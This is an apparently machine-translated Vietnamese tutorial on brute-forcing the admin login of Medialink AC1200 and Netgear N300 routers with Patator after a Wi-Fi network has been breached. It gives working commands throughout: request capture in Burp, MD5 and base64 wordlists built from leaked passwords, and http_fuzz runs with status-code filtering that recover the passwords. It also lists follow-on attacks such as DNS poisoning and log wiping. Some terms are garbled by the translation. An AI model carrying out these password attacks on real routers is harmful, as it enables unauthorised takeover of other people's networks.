Cổng bộ định tuyến có trách nhiệm bảo vệ mọi khía cạnh của cấu hình mạng. Với quyền truy cập không giới hạn vào các cấu hình đặc quyền này, kẻ tấn công trên mạng Wi-Fi bị xâm nhập có thể thực hiện nhiều cuộc tấn công nâng cao.

Đăng nhập Brute-Buộc bắt buộc với Patator

Sau khi hack bộ định tuyến Wi-Fi với các công cụ như Aircrack , Wifiphisher và Wifite2 , có một số cách mà kẻ tấn công có thể khám phá để thỏa hiệp hơn nữa với mạng. Một cách là ngay lập tức thử và tìm cách truy cập vào cổng của bộ định tuyến. Giả sử cổng không sử dụng thông tin xác thực mặc định , kẻ tấn công sẽ cố gắng khai thác lỗ hổng trong bộ định tuyến hoặc thực hiện một cuộc tấn công vũ phu.

Với quyền truy cập vào cổng của bộ định tuyến và kiểm soát hoàn toàn các cấu hình, một hacker ở vị trí quyền lực này có thể thực hiện nhiều cuộc tấn công khác nhau. Họ có thể làm bất cứ điều gì sau đây, và sau đó một số.

thực hiện các cuộc tấn công ngộ độc DNS

làm cho bộ định tuyến có thể truy cập từ xa

sửa đổi hoặc thao tác các cổng chuyển tiếp

đặt lại mật khẩu cổng

đưa JavaScript vào trình duyệt trên mạng

đặt lại tên và mật khẩu Wi-Fi

cài đặt firmware đã sửa đổi

sửa đổi hoặc xóa đăng nhập và nhật ký hệ thống

sửa đổi hoặc vô hiệu hóa tường lửa

Patator , giống như Hydra và Medusa , là một công cụ cưỡng bức dòng lệnh. Nhưng Patator làm mọi thứ hơi khác một chút. Các nhà phát triển đã cố gắng làm cho Patator đáng tin cậy và linh hoạt hơn so với người tiền nhiệm của nó. Tính năng yêu thích của tôi về Patator là mô-đun raw numquest cho phép người kiểm tra thâm nhập đăng nhập HTTP mạnh mẽ giống như mô-đun Intruder của Burp .

Một phác thảo chung cho một cuộc tấn công

Để chứng minh, tôi sẽ trình bày cách sử dụng Patator chống lại hai bộ định tuyến tiêu dùng phổ biến được tìm thấy trên Amazon. Không phải tất cả các cổng bộ định tuyến xử lý xác thực chính xác như nhau. Tôi sẽ chỉ ra một loại thủ tục chung cần tuân thủ khi thực hiện các cuộc tấn công như vậy.

Nắm bắt một yêu cầu đăng nhập : Một nỗ lực đăng nhập duy nhất được ghi lại trong Burp để phân tích yêu cầu.

Xác định các tham số : Điều quan trọng là xác định nơi các tham số động (ví dụ: tên người dùng và mật khẩu) được lưu trữ trong yêu cầu. Một số bộ định tuyến lưu trữ cookie xác thực và truyền mật khẩu đã gửi theo những cách khác nhau.

Sửa đổi và lưu yêu cầu thô : Sau khi các tham số đã được xác định, chèn một trình giữ chỗ vào yêu cầu để giúp Patator lặp qua danh sách từ mong muốn.

Tạo danh sách từ được nhắm mục tiêu : Danh sách từ được nhắm mục tiêu chứa 10.000 mật khẩu thường sẽ hiệu quả hơn danh sách từ có 10 triệu. Một số bộ định tuyến băm hoặc mã hóa mật khẩu trong trình duyệt của khách hàng trước khi truyền nó. Danh sách từ có thể sẽ cần phải phản ánh điều đó.

Nhận dạng và bộ lọc yêu cầu không thành công : Với các bộ định tuyến hiện đại, rất hiếm khi một nỗ lực đăng nhập thành công làm cho nó được biết rõ ràng. Hiểu và lọc mã trạng thái HTTP đóng một vai trò lớn trong việc xác định sự khác biệt giữa lần thử đăng nhập thất bại và thành công.

Bây giờ, một lời cảnh báo: Người bảo trợ không thân thiện với người mới bắt đầu, vì vậy có một chút đường cong học tập với cú pháp có thể khiến một số người quen dần. Trước khi tiếp tục, bạn nên có hiểu biết chung về các yêu cầu HTTP, mã trạng thái HTTP và một số kinh nghiệm với mô-đun Intruder của Burp.

Cài đặt Patator trên Kali Linux

Những nỗ lực ban đầu của tôi để cài đặt Patator bằng kho GitHub đã thất bại. Dường như có vấn đề với Pip khi cài đặt các phụ thuộc cần thiết. May mắn thay, một phiên bản cũ hơn của Patator có sẵn trong kho lưu trữ Kali Linux. Sử dụng lệnh dưới đây để cập nhật APT và cài đặt Patator.

~$ apt-get update && apt-get install patator

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  ca-certificates-java default-jre default-jre-headless fonts-dejavu-extra freerdp2-x11 ike-scan java-common ldap-utils libatk-wrapper-java libatk-wrapper-java-jni libfreerdp-client2-2
  libfreerdp2-2 libgif7 libwinpr2-2 openjdk-11-jre openjdk-11-jre-headless python3-ajpy python3-bcrypt python3-dnspython python3-ipy python3-mysqldb python3-nacl python3-openssl python3-paramiko
  python3-psycopg2 unzip
Suggested packages:
  libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libnss-mdns fonts-ipafont-gothic fonts-ipafont-mincho fonts-wqy-microhei | fonts-wqy-zenhei fonts-indic default-mysql-server
  | virtual-mysql-server python3-mysqldb-dbg python-nacl-doc python-openssl-doc python3-openssl-dbg python3-gssapi python-psycopg2-doc zip
The following NEW packages will be installed:
  ca-certificates-java default-jre default-jre-headless fonts-dejavu-extra freerdp2-x11 ike-scan java-common ldap-utils libatk-wrapper-java libatk-wrapper-java-jni libfreerdp-client2-2
  libfreerdp2-2 libgif7 libwinpr2-2 openjdk-11-jre openjdk-11-jre-headless patator python3-ajpy python3-bcrypt python3-dnspython python3-ipy python3-mysqldb python3-nacl python3-openssl
  python3-paramiko python3-psycopg2 unzip
0 upgraded, 27 newly installed, 0 to remove and 0 not upgraded.
Need to get 43.9 MB of archives.
After this operation, 192 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Khi đã xong, sử dụng tùy chọn –help để xác minh Patator đã được cài đặt thành công và xem nhiều mô-đun có sẵn.

~$ patator --help

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + smtp_vrfy     : Enumerate valid users using SMTP VRFY
  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO
  + finger_lookup : Enumerate valid users using Finger
  + http_fuzz     : Brute-force HTTP
  + ajp_fuzz      : Brute-force AJP
  + pop_login     : Brute-force POP3
  + pop_passd     : Brute-force poppassd (http://netwinsite.com/poppassd/)
  + imap_login    : Brute-force IMAP4
  + ldap_login    : Brute-force LDAP
  + smb_login     : Brute-force SMB
  + smb_lookupsid : Brute-force SMB SID-lookup
  + rlogin_login  : Brute-force rlogin
  + vmauthd_login : Brute-force VMware Authentication Daemon
  + mssql_login   : Brute-force MSSQL
  + oracle_login  : Brute-force Oracle
  + mysql_login   : Brute-force MySQL
  + mysql_query   : Brute-force MySQL queries
  + rdp_login     : Brute-force RDP (NLA)
  + pgsql_login   : Brute-force PostgreSQL
  + vnc_login     : Brute-force VNC
  + dns_forward   : Forward DNS lookup
  + dns_reverse   : Reverse DNS lookup
  + snmp_login    : Brute-force SNMP v1/2/3
  + ike_enum      : Enumerate IKE transforms
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
  + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  + tcp_fuzz      : Fuzz TCP services
  + dummy_test    : Testing module

Như đã nêu, chúng tôi sẽ tập trung vào mô-đun http_fuzz , được thiết kế để bắt buộc đăng nhập HTTP cũng như thực hiện các loại tấn công tiêm chích dựa trên web khác nhau (ví dụ: làm mờ ). Xem các tùy chọn http_fuzz có sẵn bằng lệnh sau.

patator http_fuzz --help

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: http_fuzz <module-options ...> [global-options ...]

Examples:
  http_fuzz url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500
  http_fuzz url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt -x ignore:code=401
  http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server'

Module options:
  url           : target url (scheme://host[:port]/path?query)
  body          : body data
  header        : use custom headers
  method        : method to use [GET|POST|HEAD|...]
  raw_request   : load request from file
  scheme        : scheme [http|https]
  auto_urlencode: automatically perform URL-encoding [1|0]
  user_pass     : username and password for HTTP authentication (user:pass)
  auth_type     : type of HTTP authentication [basic | digest | ntlm]
  follow        : follow any Location redirect [0|1]
  max_follow    : redirection limit [5]
  accept_cookie : save received cookies to issue them in future requests [0|1]
  proxy         : proxy to use (host:port)
  proxy_type    : proxy type [http|socks4|socks4a|socks5]
  resolve       : hostname to IP address resolution to use (hostname:IP)
  ssl_cert      : client SSL certificate file (cert+key in PEM format)
  timeout_tcp   : seconds to wait for a TCP handshake [10]
  timeout       : seconds to wait for a HTTP response [20]
  before_urls   : comma-separated URLs to query before the main request
  before_header : use a custom header in the before_urls request
  before_egrep  : extract data from the before_urls response to place in the main request
  after_urls    : comma-separated URLs to query after the main request
  max_mem       : store no more than N bytes of request+response data in memory [-1 (unlimited)]
  persistent    : use persistent connections [1|0]

Global options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Execution:
    -x arg              actions and conditions, see Syntax below
    --start=N           start from offset N in the wordlist product
    --stop=N            stop at offset N
    --resume=r1[,rN]*   resume previous run
    -e arg              encode everything between two tags, see Syntax below
    -C str              delimiter string in combo files (default is ':')
    -X str              delimiter string in conditions (default is ',')
    --allow-ignore-failures
                        failures cannot be ignored with -x (this is by design
                        to avoid false negatives) this option overrides this
                        behavior

  Optimization:
    --rate-limit=N      wait N seconds between each test (default is 0)
    --timeout=N         wait N seconds for a response before retrying payload
                        (default is 0)
    --max-retries=N     skip payload after N retries (default is 4) (-1 for
                        unlimited)
    -t N, --threads=N   number of threads (default is 10)

  Logging:
    -l DIR              save output and response data into DIR
    -L SFX              automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX
                        (DIR defaults to '/tmp/patator')

  Debugging:
    -d, --debug         enable debug messages

Syntax:
 -x actions:conditions

    actions    := action[,action]*
    action     := "ignore" | "retry" | "free" | "quit" | "reset"
    conditions := condition=value[,condition=value]*
    condition  := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep" | "clen"

    ignore      : do not report
    retry       : try payload again
    free        : dismiss future similar payloads
    quit        : terminate execution now
    reset       : close current connection in order to reconnect next time

    code        : match status code
    size        : match size (N or N-M or N- or -N)
    time        : match time (N or N-M or N- or -N)
    mesg        : match message
    fgrep       : search for string in mesg
    egrep       : search for regex in mesg
    clen        : match Content-Length header (N or N-M or N- or -N)

For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'

 -e tag:encoding

    tag        := any unique string (eg. T@G or _@@_ or ...)
    encoding   := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url"

    hex         : encode in hexadecimal
    unhex       : decode from hexadecimal
    b64         : encode in base64
    md5         : hash in md5
    sha1        : hash in sha1
    url         : url encode

For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64

Please read the README inside for more examples and usage information.

1 Tấn công Bộ định tuyến Medialink AC1200

Bộ định tuyến đầu tiên bị tấn công là Medialink AC1200 . Đây hiện là một trong những lựa chọn hàng đầu của Amazon cho bộ định tuyến người tiêu dùng và khá phổ biến.

Bước 1 Nắm bắt yêu cầu đăng nhập bằng Burp

Sau khi định cấu hình Firefox với mô-đun Proxy của Burp Suite , hãy điều hướng đến cổng của AC1200 tại http://192.168.8.1/login.html.

Tấn công Bộ định tuyến Medialink AC1200

Nhập “mật khẩu” vào trường mật khẩu và nhấn Enter . Burp sẽ chặn đăng nhập và hiển thị yêu cầu bên dưới.

Bước 2 Xác định các tham số

Lưu ý rằng mật khẩu = tham số không phải là “mật khẩu” như mong đợi, mà thay vào đó là chuỗi “5f4dcc3b5aa765d61d8327deb882cf99” được xáo trộn.

Tấn công Bộ định tuyến Medialink AC1200

Những người quen thuộc với băm mật khẩu có thể nhận ra hàm băm là MD5 cho “mật khẩu”. Nó có thể được xác minh bằng cách sử dụng lệnh dưới đây in chuỗi mong muốn vào lệnh md5sum .

~$ printf 'password' | md5sum

5f4dcc3b5aa765d61d8327deb882cf99  -

Điều đó cho chúng ta biết rằng danh sách từ được sử dụng khi brute-buộc cổng phải ở định dạng MD5. Với bộ định tuyến cụ thể này, tại cổng, không có trường có sẵn cho đầu vào tên người dùng. Chúng ta có thể thấy từ yêu cầu đã chụp rằng tên người dùng “quản trị viên” đã được nhúng. Vì vậy, chỉ có một tham số động: mật khẩu.

Bước 3 Sửa đổi và lưu yêu cầu thô

Thay đổi tham số mật khẩu băm thành “FILE0” trong yêu cầu. Việc sửa đổi sẽ đóng vai trò là người giữ chỗ trong yêu cầu chỉ ra cho Người bảo trợ nơi chèn mật khẩu. (Nó sẽ có ý nghĩa hơn trong một bước sau.)

Tấn công Bộ định tuyến Medialink AC1200

Khi đã xong, nhấp chuột phải vào bên trong các cửa sổ và chọn tùy chọn “Sao chép vào tệp”. Lưu nó vào thư mục / tmp với tên tệp “router_Vquest.txt”.

Tấn công Bộ định tuyến Medialink AC1200

Bước 4 Tạo Danh sách từ được nhắm mục tiêu

Như chúng tôi đã phát hiện ra trước đây, mật khẩu được băm trong trình duyệt trước khi được gửi đến bộ định tuyến để xác thực. Patator có một tính năng tích hợp để băm mật khẩu, nhưng hãy nhân cơ hội này để tìm hiểu một số phím tắt thao tác mật khẩu Bash.

Đầu tiên, tải về một danh sách từ ưa thích. Bất kỳ danh sách từ chung chung sẽ làm tốt cho mục đích thử nghiệm. Sử dụng lệnh wget dưới đây để tải xuống danh sách từ của tôi được tạo bằng cách phân tích cơ sở dữ liệu bị rò rỉ .

~$ wget 'https://git.io/fhhvc' -O /tmp/wordlist.txt

--2020-01-15 03:19:58--  https://git.io/fhhvc
Resolving git.io (git.io)... 52.7.169.168
Connecting to git.io (git.io)|52.7.169.168|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt [following]
--2019-03-08 03:20:01--  https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.68.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.68.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25585 (25K) [text/plain]
Saving to: ‘wordlist.txt’

wordlist.txt                      100%[========================================>]  24.99K  68.9KB/s    in 0.4s

2020-01-15 03:20:05 (68.9 KB/s) - ‘wordlist.txt’ saved [25585/25585]

Bash one-liner bên dưới sẽ sử dụng vòng lặp for để lặp qua các mật khẩu trong danh sách từ. Mỗi mật khẩu sẽ được chuyển đổi thành MD5 và được thêm vào tệp md5_wordlist.txt.

~$ for password in $(cat /tmp/wordlist.txt); do printf "$password"| md5sum | awk '{print $1}' >> /tmp/md5_wordlist.txt; done

Tệp md5_wordlist.txt mới có thể được xem bằng lệnh head bên dưới , để in mười dòng đầu tiên.

~$ head /tmp/md5_wordlist.txt

e10adc3949ba59abbe56e057f20f883e
e587466319da83fe4bdf4ceae9746357
dc483e80a7a0bd9ef71d8cf973673924
eba4820c4a707c3c72d16050177423b6
9924d38821446082ce5e4c9d88e1430f
b3d3bdba829b1fef75a5b22c20a14738
5f4dcc3b5aa765d61d8327deb882cf99
e680528370af6ef220d0f23b8e58e812
d234e0453a5f37630379880b9136e959
1acc444503b44377c3ba6e595fcf2940

Bước 5 Xác định và lọc các yêu cầu thất bại

Với bộ định tuyến bộ định tuyến và danh sách từ của mật khẩu được băm, cổng của bộ định tuyến có thể bị ép buộc với Patator bằng lệnh sau. Để dừng cuộc tấn công Patator bất cứ lúc nào, nhấn Control-C trên bàn phím.

~$ patator http_fuzz raw_request=/tmp/router_request.txt accept_cookie=1 follow=1 0=/tmp/md5_wordlist.txt -l /tmp/AC1200

Để phá vỡ lệnh đó:

raw_Vquest = – Sử dụng bộ định tuyến bộ định tuyến được tạo ở bước trước để tạo các nỗ lực đăng nhập đối với cổng của bộ định tuyến.

accept_cookie = – Lưu cookie đã nhận để phát hành chúng trong các yêu cầu trong tương lai.

follow = – Theo dõi chuyển hướng Vị trí (ví dụ: 302 mã trạng thái), cho cả lần thử đăng nhập thất bại và thành công nếu được máy chủ hướng dẫn.

0 = – Trình giữ chỗ “FILE0” trong bộ định tuyến numquest.txt sẽ lặp qua danh sách mật khẩu được cung cấp.

-l – Lưu dữ liệu đầu ra vào thư mục được cung cấp. Tất cả các câu trả lời của Patator sẽ được lưu trữ theo kiểu có tổ chức.

Sau khi chạy lệnh, đầu ra của tôi trông như thế này:

code size:clen       time | candidate                          |   num | mesg
-----------------------------------------------------------------------------
200  20:-1          0.015 | e10adc3949ba59abbe56e057f20f883e   |     1 | HTTP/1.0 200 OK
200  20:-1          0.035 | e587466319da83fe4bdf4ceae9746357   |     2 | HTTP/1.0 200 OK
200  20:-1          0.048 | dc483e80a7a0bd9ef71d8cf973673924   |     3 | HTTP/1.0 200 OK
200  20:-1          0.041 | eba4820c4a707c3c72d16050177423b6   |     4 | HTTP/1.0 200 OK
200  20:-1          0.054 | 9924d38821446082ce5e4c9d88e1430f   |     5 | HTTP/1.0 200 OK
200  20:-1          0.060 | 5f4dcc3b5aa765d61d8327deb882cf99   |     7 | HTTP/1.0 200 OK
200  20:-1          0.067 | 1acc444503b44377c3ba6e595fcf2940   |    10 | HTTP/1.0 200 OK
200  20:-1          0.069 | 25d55ad283aa400af464c76d713c07ad   |    11 | HTTP/1.0 200 OK
200  20:-1          0.069 | d8578edf8458ce06fbc5bb76a58c5ca4   |    12 | HTTP/1.0 200 OK
200  20:-1          0.070 | bfcfa776182bf88f23cc0e78bde9bd55   |    13 | HTTP/1.0 200 OK
200  20:-1          0.070 | 5fcfd41e547a12215b173ff47fdd3739   |    14 | HTTP/1.0 200 OK
200  20:-1          0.070 | 02c75fb22c75b23dc963c7eb91a062cc   |    15 | HTTP/1.0 200 OK
200  20:-1          0.079 | b3d3bdba829b1fef75a5b22c20a14738   |     6 | HTTP/1.0 200 OK
200  20:-1          0.070 | f26e6a5828c8a1c908f86c0674c4b0c1   |    16 | HTTP/1.0 200 OK
200  20:-1          0.070 | 0d107d09f5bbe40cade3de5c71e9e9b7   |    17 | HTTP/1.0 200 OK
200  20:-1          0.073 | e680528370af6ef220d0f23b8e58e812   |     8 | HTTP/1.0 200 OK
200  20:-1          0.070 | 25f9e794323b453885f5181f1b624d0b   |    18 | HTTP/1.0 200 OK
200  20:-1          0.086 | d234e0453a5f37630379880b9136e959   |     9 | HTTP/1.0 200 OK
200  20:-1          0.069 | 9aaee58c21bf17a001b5325dffecbb6c   |    19 | HTTP/1.0 200 OK
200  20:-1          0.069 | c41788ac68e6c17c59a6412c424dc763   |    20 | HTTP/1.0 200 OK
200  20:-1          0.069 | 7702417fd301623eff2ba8f6abf05ff6   |    21 | HTTP/1.0 200 OK
200  20:-1          0.069 | a79e7fabc870d2c67141008c58088b47   |    31 | HTTP/1.0 200 OK
200  20:-1          0.069 | e99a18c428cb38d5f260853678922e03   |    22 | HTTP/1.0 200 OK
200  20:-1          0.069 | 4297f44b13955235245b2497399d7a93   |    32 | HTTP/1.0 200 OK
200  20:-1          0.069 | e7d094da9fe5b55c3a84806ba4fd3276   |    23 | HTTP/1.0 200 OK
200  20:-1          0.067 | 9ccc031dbebc6705fc8443df29b0971f   |    33 | HTTP/1.0 200 OK
200  20:-1          0.069 | 04085330aed79347b6427f9111ce384f   |    24 | HTTP/1.0 200 OK
200  20:-1          0.069 | 1c63129ae9db9c60c3e8aa94d3e00495   |    34 | HTTP/1.0 200 OK
200  20:-1          0.069 | ccebddaa34a9459df50d2d32177ea06e   |    25 | HTTP/1.0 200 OK
200  20:-1          0.069 | 5416d7cd6ef195a0f7622a9c56b55e84   |    26 | HTTP/1.0 200 OK
200  20:-1          0.069 | dccfdb716551ca6210e9b93248674dd7   |    27 | HTTP/1.0 200 OK
200  20:-1          0.069 | 1f6cac35000ad57b1af2e34926043ebe   |    28 | HTTP/1.0 200 OK
200  20:-1          0.069 | bed128365216c019988915ed3add75fb   |    29 | HTTP/1.0 200 OK
200  20:-1          0.069 | bc597773a32c44479efd83855733aed6   |    30 | HTTP/1.0 200 OK
200  20:-1          0.071 | d5e0708d403467017d4dd217178112b5   |    41 | HTTP/1.0 200 OK
200  20:-1          0.071 | 161ebd7d45089b3446ee4e0d86dbcf92   |    42 | HTTP/1.0 200 OK
200  20:-1          0.070 | 5dc5d1aa29ea20ce91ec6c7fe5a44f56   |    43 | HTTP/1.0 200 OK
200  20:-1          0.070 | 3d68b18bd9042ad3dc79643bde1ff351   |    44 | HTTP/1.0 200 OK
200  20:-1          0.069 | b76be48e061aa8948d153fec67a08cb4   |    35 | HTTP/1.0 200 OK
200  20:-1          0.071 | 3bf1289e5cd6187c0e0de34edfe27b90   |    45 | HTTP/1.0 200 OK

Mã trạng thái Giao thức truyền siêu văn bản (HTTP) , còn được gọi là mã phản hồi , được máy chủ web cấp cho trình duyệt web của chúng tôi khi chúng tôi thực hiện yêu cầu. Các mã này là một cách để các máy chủ web giao tiếp lỗi với quản trị viên máy chủ, nhà phát triển web và người dùng cuối.

Đôi khi mã trạng thái 200 (“200 OK”) là một dấu hiệu cho thấy máy chủ chấp nhận mật khẩu được cung cấp. Trong những trường hợp này, mọi lần thử đăng nhập đơn lẻ đều tạo ra phản hồi “200 OK” – vì vậy nó giúp xác định xem lần đăng nhập thất bại trông như thế nào.

Cột “kích thước” cũng có thể cực kỳ hữu ích. Nó sẽ hiển thị kích thước (tính bằng byte) của phản hồi của máy chủ đối với lần thử đăng nhập. Nó trả về 20 byte với mỗi lần đăng nhập, vì vậy có thể an toàn khi giả sử kích thước byte này cho thấy lần thử đăng nhập thất bại, trong trường hợp đó, an toàn khi bỏ qua các phản hồi có kích thước đó. Bạn có thể làm như vậy bằng cách thêm tùy chọn -x bỏ qua: size = 20 .

~$ patator http_fuzz raw_request=router_request.txt -x ignore:size=20 accept_cookie=1 follow=1 0=/tmp/md5_wordlist.txt -l /tmp/AC1200

code size:clen       time | candidate                          |   num | mesg
-----------------------------------------------------------------------------
200  3962:3363      0.201 | d487dd0b55dfcacdd920ccbdaeafa351   |   291 | HTTP/1.0 200 OK
Hits/Done/Skip/Fail/Size: 1/3142/0/0/3142, Avg: 138 r/s, Time: 0h 0m 22s

Bây giờ, chỉ có một yêu cầu được hiển thị, với kích thước 3.962 byte.

Có một vài cách để xóa mật khẩu được phát hiện. Mật khẩu trong cả wordlist.txt và md5_wordlist.txt đều xuất hiện theo cùng một thứ tự. Sự khác biệt duy nhất là một danh sách từ trong văn bản thuần túy; cái khác được băm.

Dưới đây, chúng tôi sẽ sử dụng nl để thêm số dòng cho mỗi dòng trong md5_wordlist.txt, sau đó grep cho hàm băm.

~$ nl /tmp/md5_wordlist.txt | grep 'd487dd0b55dfcacdd920ccbdaeafa351'

291 d487dd0b55dfcacdd920ccbdaeafa351

Hàm băm xuất hiện trên dòng 291 của tệp md5_wordlist.txt. Bây giờ, sử dụng nl trên danh sách văn bản đơn giản và grep để tìm số dòng.

~$ nl /tmp/wordlist.txt | grep '291'

291 yellow

Mật khẩu là “màu vàng.” Nó có thể được xác nhận thêm bằng cách sử dụng lệnh sau đây.

~$ printf 'yellow' | md5sum

d487dd0b55dfcacdd920ccbdaeafa351

2 Tấn công Bộ định tuyến Netgear N300

Một bộ định tuyến từ dòng Netgear N300 tiếp theo trong danh sách các mục tiêu. Đây cũng là một trong những lựa chọn hàng đầu của Amazon cho các bộ định tuyến Wi-Fi tiêu dùng, cấp độ đầu vào.

Bước 1 Nắm bắt yêu cầu đăng nhập bằng Burp

Chúng tôi sẽ làm theo quy trình như trước đây, bắt đầu với việc nắm bắt yêu cầu thô. Điều hướng đến cổng của bộ định tuyến bằng trình duyệt web được định cấu hình để ủy quyền qua Burp. Nhập thông tin đăng nhập “admin” và “password” khi được nhắc.

Tấn công Bộ định tuyến Medialink AC1200

Bước 2 Xác định các tham số

Lưu ý lần này không có mật khẩu rõ ràng = tham số như bộ định tuyến Medialink AC1200.

Tấn công Bộ định tuyến Medialink AC1200

Chuỗi trên không được băm với MD5. Mặc dù nó có thể được mã hóa hoặc bảo mật theo một cách nào đó, nó sử dụng mã hóa base64 đơn giản. Chuỗi có thể được giải mã bằng lệnh dưới đây.

~$ printf 'YWRtaW46cGFzc3dvcmQ=' | base64 -d

admin:password

Tên người dùng và mật khẩu được nối thành một chuỗi và được mã hóa. Đó gọi là xác thực HTTP cơ bản . Nó chỉ nên được sử dụng với HTTPS, vì kẻ tấn công trên mạng có thể dễ dàng chiếm được mật khẩu.

Bước 3 Sửa đổi và lưu yêu cầu thô

Với các tham số tên người dùng và mật khẩu được xác định, yêu cầu thô có thể được sửa đổi để bao gồm trình giữ chỗ Patator và được lưu vào một tệp cục bộ.

Tấn công Bộ định tuyến Medialink AC1200

Nhấp chuột phải vào bên trong các cửa sổ và chọn tùy chọn “Sao chép vào tập tin”. Lưu nó vào thư mục / tmp với tên tệp “router_Vquest.txt”.

Tấn công Bộ định tuyến Medialink AC1200

Bước 4 Tạo Danh sách từ được nhắm mục tiêu

Bây giờ chúng ta đã biết loại tham số xác thực đang được sử dụng, một danh sách từ có thể được tạo cụ thể cho bộ định tuyến. Một lần nữa, Patator có một tính năng tích hợp để mã hóa mật khẩu, nhưng thao tác mật khẩu là một kỹ năng tốt để học. Nó có thể được áp dụng cho các công cụ cưỡng bức khác, ví dụ.

Tải về một danh sách từ chung cho mục đích thử nghiệm. Sử dụng lệnh wget dưới đây để tải xuống danh sách từ của tôi được tạo bằng cách phân tích cơ sở dữ liệu bị rò rỉ .

~$ wget 'https://git.io/fhhvc' -O /tmp/wordlist.txt

Bash one-liner bên dưới sẽ sử dụng vòng lặp for để lặp qua các mật khẩu trong danh sách từ. Mỗi mật khẩu sẽ được nối thành một chuỗi với tên người dùng và mật khẩu được chuyển đổi thành base64. Tất cả các chuỗi được mã hóa được nối vào tệp /tmp/base64_wordlist.txt.

~$ for password in $(cat /tmp/wordlist.txt); do printf "admin:$password" | base64 >> /tmp/base64_wordlist.txt; done

Mật khẩu được mã hóa có thể được xác minh bằng lệnh head bên dưới để in mười dòng đầu tiên của tệp.

~$ head /tmp/base64_wordlist.txt

YWRtaW46MTIzNDU2
YWRtaW46QWJjZGVmMTIz
YWRtaW46YTEyMzQ1Ng==
YWRtaW46bGl0dGxlMTIz
YWRtaW46bmFuZGEzMzQ=
YWRtaW46Tjk3bm9raWE=
YWRtaW46cGFzc3dvcmQ=
YWRtaW46UGF3ZXJqb24xMjM=
YWRtaW46NDIxdWlvcHkyNTg=
YWRtaW46TVl3b3JrbGlzdDEyMw==

Bước 5 Xác định và lọc các yêu cầu thất bại

Cổng của bộ định tuyến có thể bị ép buộc với Patator bằng cách sử dụng các tệp router_Vquest.txt và base64_wordlist.txt. Hãy nhớ rằng, trong khi đang xử lý, Patator có thể bị dừng bất cứ lúc nào bằng cách nhấn Control-C trên bàn phím.

~$ patator http_fuzz raw_request=/tmp/router_request.txt accept_cookie=1 follow=1 0=/tmp/base64_wordlist.txt -l /tmp/N300

code size:clen       time | candidate                          |   num | mesg
-----------------------------------------------------------------------------
401  508:-1         0.006 | YWRtaW46MTIzNDU2                   |     1 | HTTP/1.0 401 Unauthorized
401  508:-1         0.023 | YWRtaW46MTIzNDU2Nzg=               |    11 | HTTP/1.0 401 Unauthorized
401  508:-1         0.022 | YWRtaW46Y2h1cnUxMjNB               |    21 | HTTP/1.0 401 Unauthorized
401  508:-1         0.023 | YWRtaW46QWJjZGVmMTIz               |     2 | HTTP/1.0 401 Unauthorized
401  508:-1         0.024 | YWRtaW46cXdlcnR5                   |    12 | HTTP/1.0 401 Unauthorized
401  508:-1         0.007 | YWRtaW46YTEyMzQ1Ng==               |     3 | HTTP/1.0 401 Unauthorized
401  508:-1         0.024 | YWRtaW46bmtzMjMwa2pzODI=           |    13 | HTTP/1.0 401 Unauthorized
401  508:-1         0.024 | YWRtaW46bGl0dGxlMTIz               |     4 | HTTP/1.0 401 Unauthorized
401  508:-1         0.025 | YWRtaW46bmFuZGEzMzQ=               |     5 | HTTP/1.0 401 Unauthorized
401  508:-1         0.026 | YWRtaW46enhjdmJubQ==               |    15 | HTTP/1.0 401 Unauthorized
401  508:-1         0.023 | YWRtaW46Tjk3bm9raWE=               |     6 | HTTP/1.0 401 Unauthorized

Mã trạng thái HTTP được chia thành nhiều loại hoặc “lớp”. Chữ số đầu tiên xác định các danh mục và các chữ số sau là các danh mục con cụ thể cho các loại thông báo lỗi khác nhau. Ví dụ: các danh mục 4xx là một loại lỗi cụ thể đối với các yêu cầu HTTP không thể được thực hiện bởi máy chủ web, như cố gắng xem một trang web không tồn tại. Điều đó được định nghĩa là trạng thái “Không tìm thấy 404”, có lẽ là một trong những mã trạng thái nổi tiếng nhất trên internet.

Chúng tôi ngay lập tức nhận thấy một tấn gồm 401 mã trạng thái, đó là dấu hiệu rõ ràng cho thấy các yêu cầu đăng nhập thất bại. Chúng có thể được bỏ qua từ đầu ra bằng cách sử dụng tùy chọn và đối số -x bỏ qua: code = 401 .

~$ patator http_fuzz raw_request=/tmp/router_request.txt -x ignore:code=401 accept_cookie=1 follow=1 0=/tmp/base64_wordlist.txt -l /tmp/N300

code size:clen       time | candidate                          |   num | mesg
-----------------------------------------------------------------------------
200  622:-1         0.017 | YWRtaW46cGFzc3dvcmQ=               |     7 | HTTP/1.0 200 OK

